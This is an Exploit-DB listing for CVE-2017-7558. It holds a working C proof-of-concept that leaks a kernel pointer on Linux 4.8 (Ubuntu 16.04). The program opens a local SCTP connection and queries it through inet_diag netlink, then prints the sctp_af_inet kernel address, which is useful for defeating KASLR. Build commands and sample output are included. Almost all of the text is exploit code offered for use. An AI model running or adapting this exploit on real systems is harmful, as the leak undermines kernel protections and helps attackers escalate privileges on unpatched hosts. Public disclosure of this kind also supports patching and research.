Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer

EDB-ID:

45919

CVE:

N/A


Type:

dos


Platform:

Linux

Date:

2018-11-30


/*
# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
# Google Dork: -
# Date: 2018-11-20
# Exploit Author: Jinbum Park
# Vendor Homepage: -
# Software Link: -
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# CVE: 2017-7558
# Category: Local
*/

/*
 * [ Briefs ] 
 *    - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
 *    - This is local exploit against the CVE-2017-7558.
 *
 * [ Tested version ]
 *    - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    - sudo apt-get install libsctp-dev
 *
 * [ Goal ]
 *    - Leak kernel symbol address of "sctp_af_inet"
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc -lsctp -lpthread
 *    - $ ./poc
 *      [] Waiting for connection
 *      [] New client connected
 *      [] Received data: Hello, Server!
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0  (leaked kernel pointer)
 *    - $ sudo cat /proc/kallsyms | grep sctp_af_inet  (Check whether leaked pointer value is corret)
 *      ffffffffc0c541e0 d sctp_af_inet [sctp]
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <pthread.h>
#include <errno.h>

#define MY_PORT_NUM 62324

struct sctp_info {
    __u32   sctpi_tag;
    __u32   sctpi_state;
    __u32   sctpi_rwnd;
    __u16   sctpi_unackdata;
    __u16   sctpi_penddata;
    __u16   sctpi_instrms;
    __u16   sctpi_outstrms;
    __u32   sctpi_fragmentation_point;
    __u32   sctpi_inqueue;
    __u32   sctpi_outqueue;
    __u32   sctpi_overall_error;
    __u32   sctpi_max_burst;
    __u32   sctpi_maxseg;
    __u32   sctpi_peer_rwnd;
    __u32   sctpi_peer_tag;
    __u8    sctpi_peer_capable;
    __u8    sctpi_peer_sack;
    __u16   __reserved1;

    /* assoc status info */
    __u64   sctpi_isacks;
    __u64   sctpi_osacks;
    __u64   sctpi_opackets;
    __u64   sctpi_ipackets;
    __u64   sctpi_rtxchunks;
    __u64   sctpi_outofseqtsns;
    __u64   sctpi_idupchunks;
    __u64   sctpi_gapcnt;
    __u64   sctpi_ouodchunks;
    __u64   sctpi_iuodchunks;
    __u64   sctpi_oodchunks;
    __u64   sctpi_iodchunks;
    __u64   sctpi_octrlchunks;
    __u64   sctpi_ictrlchunks;

    /* primary transport info */
    struct sockaddr_storage sctpi_p_address;
    __s32   sctpi_p_state;
    __u32   sctpi_p_cwnd;
    __u32   sctpi_p_srtt;
    __u32   sctpi_p_rto;
    __u32   sctpi_p_hbinterval;
    __u32   sctpi_p_pathmaxrxt;
    __u32   sctpi_p_sackdelay;
    __u32   sctpi_p_sackfreq;
    __u32   sctpi_p_ssthresh;
    __u32   sctpi_p_partial_bytes_acked;
    __u32   sctpi_p_flight_size;
    __u16   sctpi_p_error;
    __u16   __reserved2;

    /* sctp sock info */
    __u32   sctpi_s_autoclose;
    __u32   sctpi_s_adaptation_ind;
    __u32   sctpi_s_pd_point;
    __u8    sctpi_s_nodelay;
    __u8    sctpi_s_disable_fragments;
    __u8    sctpi_s_v4mapped;
    __u8    sctpi_s_frag_interleave;
    __u32   sctpi_s_type;
    __u32   __reserved3;
};

enum {
    SS_UNKNOWN,
    SS_ESTABLISHED,
    SS_SYN_SENT,
    SS_SYN_RECV,
    SS_FIN_WAIT1,
    SS_FIN_WAIT2,
    SS_TIME_WAIT,
    SS_CLOSE,
    SS_CLOSE_WAIT,
    SS_LAST_ACK,
    SS_LISTEN,
    SS_CLOSING,
    SS_MAX
};

enum sctp_state {
    SCTP_STATE_CLOSED       = 0,
    SCTP_STATE_COOKIE_WAIT      = 1,
    SCTP_STATE_COOKIE_ECHOED    = 2,
    SCTP_STATE_ESTABLISHED      = 3,
    SCTP_STATE_SHUTDOWN_PENDING = 4,
    SCTP_STATE_SHUTDOWN_SENT    = 5,
    SCTP_STATE_SHUTDOWN_RECEIVED    = 6,
    SCTP_STATE_SHUTDOWN_ACK_SENT    = 7,
};

enum {
    TCP_ESTABLISHED = 1,
    TCP_SYN_SENT,
    TCP_SYN_RECV,
    TCP_FIN_WAIT1,
    TCP_FIN_WAIT2,
    TCP_TIME_WAIT,
    TCP_CLOSE,
    TCP_CLOSE_WAIT,
    TCP_LAST_ACK,
    TCP_LISTEN,
    TCP_CLOSING,    /* Now a valid state */
    TCP_NEW_SYN_RECV,

    TCP_MAX_STATES  /* Leave at the end! */
};

enum sctp_sock_state {
    SCTP_SS_CLOSED         = TCP_CLOSE,
    SCTP_SS_LISTENING      = TCP_LISTEN,
    SCTP_SS_ESTABLISHING   = TCP_SYN_SENT,
    SCTP_SS_ESTABLISHED    = TCP_ESTABLISHED,
    SCTP_SS_CLOSING        = TCP_CLOSE_WAIT,
};

static volatile int servser_stop_flag = 0;
static volatile int client_stop_flag = 0;

static void *server_thread(void *arg) {
    int listen_fd, conn_fd, flags, ret, in;
    char buffer[1024];
    struct sctp_sndrcvinfo sndrcvinfo;
    struct sockaddr_in servaddr = {
            .sin_family = AF_INET,
            .sin_addr.s_addr = htonl(INADDR_ANY),
            .sin_port = htons(MY_PORT_NUM),
    };
    struct sctp_initmsg initmsg = {
            .sinit_num_ostreams = 5,
            .sinit_max_instreams = 5,
            .sinit_max_attempts = 4,
    };

    listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (listen_fd < 0)
        return NULL;

    ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (ret < 0)
        return NULL;

    ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
    if (ret < 0)
        return NULL;

    ret = listen(listen_fd, initmsg.sinit_max_instreams);
    if (ret < 0)
        return NULL;
    
    printf("[] Waiting for connection\n");

    conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);
    if(conn_fd < 0)
        return NULL;

    printf("[] New client connected\n");

    in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);
    if (in > 0) {
        printf("[] Received data: %s\n", buffer);
    }

    while (servser_stop_flag == 0)
        sleep(1);

    close(conn_fd);
    return NULL;
}

static void *client_thread(void *arg) {
    int conn_fd, ret;
    const char *msg = "Hello, Server!";
    struct sockaddr_in servaddr = {
            .sin_family = AF_INET,
            .sin_port = htons(MY_PORT_NUM),
            .sin_addr.s_addr = inet_addr("127.0.0.1"),
    };

    conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (conn_fd < 0)
        return NULL;

    ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (ret < 0)
        return NULL;

    ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );
    if (ret < 0)
         return NULL;

    while (client_stop_flag == 0)
        sleep(1);

    close(conn_fd);
    return NULL;
}

//Copied from libmnl source
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)

int send_diag_msg(int sockfd){
    struct msghdr msg;
    struct nlmsghdr nlh;
    struct inet_diag_req_v2 conn_req;
    struct sockaddr_nl sa;
    struct iovec iov[4];
    int retval = 0;

    //For the filter
    struct rtattr rta;
    void *filter_mem = NULL;
    int filter_len = 0;

    memset(&msg, 0, sizeof(msg));
    memset(&sa, 0, sizeof(sa));
    memset(&nlh, 0, sizeof(nlh));
    memset(&conn_req, 0, sizeof(conn_req));

    sa.nl_family = AF_NETLINK;

    conn_req.sdiag_family = AF_INET;
    conn_req.sdiag_protocol = IPPROTO_SCTP;
    conn_req.idiag_states = SCTP_SS_CLOSED;
    conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));
    
    nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));
    nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;

    nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    iov[0].iov_base = (void*) &nlh;
    iov[0].iov_len = sizeof(nlh);
    iov[1].iov_base = (void*) &conn_req;
    iov[1].iov_len = sizeof(conn_req);

    //Set essage correctly
    msg.msg_name = (void*) &sa;
    msg.msg_namelen = sizeof(sa);
    msg.msg_iov = iov;
    if(filter_mem == NULL)
        msg.msg_iovlen = 2;
    else
        msg.msg_iovlen = 4;
   
    retval = sendmsg(sockfd, &msg, 0);

    if(filter_mem != NULL)
        free(filter_mem);

    return retval;
}

void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){
    struct rtattr *attr;
    struct sctp_info *sctpi;
    int i;
    unsigned char *ptr;

    if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {
        fprintf(stderr, "Unknown family\n");
        return;
    }

    if(rtalen > 0){
        attr = (struct rtattr*) (diag_msg+1);

        while(RTA_OK(attr, rtalen)){
            if(attr->rta_type == INET_DIAG_INFO){
                // leak kernel pointer here!!
                sctpi = (struct sctp_info*) RTA_DATA(attr);
                ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);
                printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);
            }
            attr = RTA_NEXT(attr, rtalen);
        }
    }
}

int main(int argc, char *argv[]){
    int nl_sock = 0, numbytes = 0, rtalen = 0;
    struct nlmsghdr *nlh;
    uint8_t recv_buf[SOCKET_BUFFER_SIZE];
    struct inet_diag_msg *diag_msg;
    pthread_t sctp_server;
    pthread_t sctp_client;

    // run sctp server & client
    if (pthread_create(&sctp_server, NULL, server_thread, NULL))
        return EXIT_FAILURE;
    sleep(2);

    if (pthread_create(&sctp_client, NULL, client_thread, NULL))
        return EXIT_FAILURE;
    sleep(2);

    // run inet_diag
    if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){
        perror("socket: ");
        return EXIT_FAILURE;
    }

    if(send_diag_msg(nl_sock) < 0){
        perror("sendmsg: ");
        return EXIT_FAILURE;
    }

    while(1){
        numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);
        nlh = (struct nlmsghdr*) recv_buf;

        while(NLMSG_OK(nlh, numbytes)){
            if(nlh->nlmsg_type == NLMSG_DONE) {
                return EXIT_SUCCESS;
            }

            if(nlh->nlmsg_type == NLMSG_ERROR){
                fprintf(stderr, "Error in netlink message\n");
                return EXIT_FAILURE;
            }

            diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);
            rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));
            parse_diag_msg(diag_msg, rtalen);

            nlh = NLMSG_NEXT(nlh, numbytes); 
        }
    }
    printf("loop next\n");

    // exit threads
    client_stop_flag = 1;
    if (pthread_join(sctp_client, NULL))
        return EXIT_FAILURE;

    servser_stop_flag = 1;
    if (pthread_join(sctp_server, NULL))
        return EXIT_FAILURE;

    printf("end\n");
    return EXIT_SUCCESS;
}